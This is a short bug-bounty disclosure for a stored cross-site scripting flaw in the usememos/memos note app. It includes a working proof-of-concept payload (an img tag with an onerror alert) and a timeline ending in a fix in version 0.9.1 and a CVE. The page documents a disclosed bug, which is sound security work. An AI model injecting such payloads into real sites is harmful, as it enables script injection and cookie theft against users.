Stored XSS in memos while creating in usememos/memos


Reported on

Dec 23rd 2022


After login create a new memo with the following XSS payload

"><img src=x onerror=alert(1)>#{

and click save that will make alert

Proof of Concept

"><img src=x onerror=alert(1)>#{


Account takeover via steal cookies

We are processing your report and will contact the usememos/memos team within 24 hours. 17 days ago
We have contacted a member of the usememos/memos team and are waiting to hear back 16 days ago
STEVEN validated this vulnerability 13 days ago
Mohamed Abdelhady has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
11 days ago


Can you assign it as CVE !

STEVEN marked this as fixed in 0.9.1 with commit 64e5c3 11 days ago
STEVEN has been awarded the fix bounty
This vulnerability has been assigned a CVE
STEVEN published this vulnerability 11 days ago
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